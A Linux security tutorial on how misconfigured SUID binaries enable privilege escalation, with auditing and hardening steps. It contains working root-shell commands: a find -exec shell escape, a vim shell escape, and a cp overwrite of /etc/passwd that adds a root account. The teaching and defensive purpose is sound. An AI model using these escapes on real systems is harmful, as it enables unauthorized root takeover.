All information, commands, and security demonstrations published on LinuxPedia are provided strictly for educational purposes, defensive hardening, and authorized security research. Never attempt unauthorized privilege escalation or security testing against computer systems you do not own or do not have explicit written permission to test.
Getting initial access to a Linux machine is only half the battle for an attacker. Often, an exploit delivers a shell as a low-privilege user such as www-data, nobody, or a restricted employee account. In this state, the attacker cannot read password hashes, install kernel modules, or view other users' private files.
To take complete control of the machine, they must elevate their permissions to the superuser (UID 0, or root). This process is known as privilege escalation.
One of the most common and dangerous vectors for privilege escalation stems from misconfigured SUID (Set User ID) binaries. If a system administrator grants SUID to the wrong binary, any user on that machine can spawn an unrestricted root shell in seconds without entering a password.
1. What is the SUID Bit?
Standard Linux file permissions define read (r), write (w), and execute (x) access for three groups: the file owner (user), the file group, and everyone else (others).
There is also a special fourth octal permission bit: the SUID bit (numeric value 4000). When SUID is enabled on an executable file, any user who runs that program executes it with the permissions of the file owner, rather than their own account.
You can identify an SUID binary by inspecting its permission string with ls -l. Instead of a standard -rwxr-xr-x, the user execute bit contains an s:
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Apr 10 2024 /usr/bin/passwd
Notice the s in -rwsr-xr-x. The /usr/bin/passwd binary is owned by root. When standard user alice runs passwd to change her own password, the binary needs temporary root authority to write her new hashed password into /etc/shadow. Because /usr/bin/passwd is carefully programmed not to allow arbitrary shell commands, this SUID assignment is legitimate and safe.
2. The Administrator Mistake: Bad SUID Assignments
Trouble starts when administrators apply the SUID bit to general utilities or custom scripts to solve quick permission problems.
For instance, a junior admin might want team members to search protected system logs without sharing the root password. They might execute:
$ sudo chmod u+s /usr/bin/find
The admin intended only to let users search files across restricted directories. But they inadvertently handed every account on the server an instant path to full root authority.
3. How Attackers Discover SUID Binaries
Whenever penetration testers or attackers land on a Linux shell, the first command they run is a search for all files with the SUID bit enabled:
$ find / -perm -4000 -type f 2>/dev/null
Let us break down each part of this audit command:
find /: Searches the entire root filesystem starting at the top directory.-perm -4000: Matches any file that has the SUID bit (octal 4000) active.-type f: Restricts the search to regular files, ignoring directories.2>/dev/null: Discards permission denied errors from directories the current low-privilege user cannot open.
The terminal returns a list of all SUID files on the system:
/usr/bin/mount
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/find <-- CRITICAL VULNERABILITY DETECTED
Standard Linux binaries like mount, passwd, and sudo are normal. But seeing /usr/bin/find on that list is an immediate red flag.
4. The Exploit: GTFOBins and Shell Escapes
In cybersecurity, GTFOBins is a curated repository showing how standard Unix binaries can be bypassed to escape restricted shells or escalate privileges.
Many common programs include built-in features that execute system commands. When those programs run with the SUID bit as root, the spawned commands inherit root authority.
Example A: Exploiting the find Binary
The find utility features an -exec parameter designed to run a command on matched files. If find is SUID root, passing /bin/sh -p spawns a root shell:
$ whoami
student
$ /usr/bin/find . -exec /bin/sh -p \; -quit
# whoami
root
# id
uid=1001(student) gid=1001(student) euid=0(root) groups=1001(student)
The -p flag tells /bin/sh to preserve effective user privileges (euid 0). The attacker is now root, capable of modifying any file, adding new users, or shutting down the host.
Example B: Exploiting Vim or Nano
If a text editor like vim has SUID set, an attacker can use its built-in shell escape:
$ vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
Example C: Exploiting cp (Copying Sensitive Files)
If cp has SUID enabled, it may not spawn an interactive shell directly, but it allows overwriting critical authentication files. An attacker can generate a password hash and inject a new administrative user straight into /etc/passwd:
$ openssl passwd -1 -salt evil P@ssw0rd123
$1$evil$8h8aM8yVb.EwH1YwQd3Z1/
$ echo "hacker:\$1\$evil\$8h8aM8yVb.EwH1YwQd3Z1/:0:0:root:/root:/bin/bash" >> /tmp/passwd_evil
$ /usr/bin/cp /tmp/passwd_evil /etc/passwd
$ su hacker
Password: P@ssw0rd123
# whoami
root
5. How Sysadmins Audit and Fix SUID Flaws
Securing your Linux servers against SUID privilege escalation requires periodic auditing and strict adherence to the principle of least privilege.
Step 1: Audit SUID Files Regularly
Run this command on your servers to generate an inventory of all SUID executables:
$ sudo find / -perm -4000 -type f -exec ls -la {} + 2>/dev/null
Compare the output against default packages. If you see text editors, script interpreters (python, perl, ruby, bash, php), or utilities like find, tar, cp, or nmap, investigate immediately.
Step 2: Remove the SUID Bit
To strip the SUID bit from a misconfigured binary, run chmod u-s:
$ sudo chmod u-s /usr/bin/find
Verify the change with ls -l /usr/bin/find. The permissions should revert back to -rwxr-xr-x.
Step 3: Mount Temporary Partitions with nosuid
Attackers frequently attempt to compile custom C binaries inside world-writable directories like /tmp or /var/tmp and assign them SUID root.
You can block this entire class of attacks by adding the nosuid mount option in /etc/fstab:
# /etc/fstab configuration
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0
When a filesystem is mounted with nosuid, the Linux kernel ignores the SUID bit on all files within that mount point, even if an attacker manages to set the bit.
Step 4: Use Granular Sudo Rules Instead
If a user genuinely needs to run a specific command with elevated permissions, never use SUID. Instead, create a fine-grained sudoers rule in /etc/sudoers.d/:
# /etc/sudoers.d/analyst
analyst ALL=(root) /usr/bin/systemctl restart nginx
This allows the user to restart only the Nginx service without giving them access to an interactive shell or full system control.
Conclusion and Key Takeaways
Privilege escalation turns small access footholds into total system takeovers. The SUID permission bit is a powerful Unix feature, but improper use creates wide-open backdoors.
- Audit all SUID files using
find / -perm -4000 -type f 2>/dev/null. - Never apply SUID to compilers, interpreters, editors, or file managers.
- Mount
/tmpand/dev/shmwith thenosuidflag. - Reference GTFOBins during security reviews to check for shell escapes.
Disclaimer: For Educational Purposes Only
This guide is published strictly for educational and defensive cybersecurity purposes. The objective is to help system administrators, DevOps engineers, and ethical security analysts identify and remediate permission misconfigurations before malicious actors can exploit them. LinuxPedia does not condone or encourage unauthorized access to computer systems.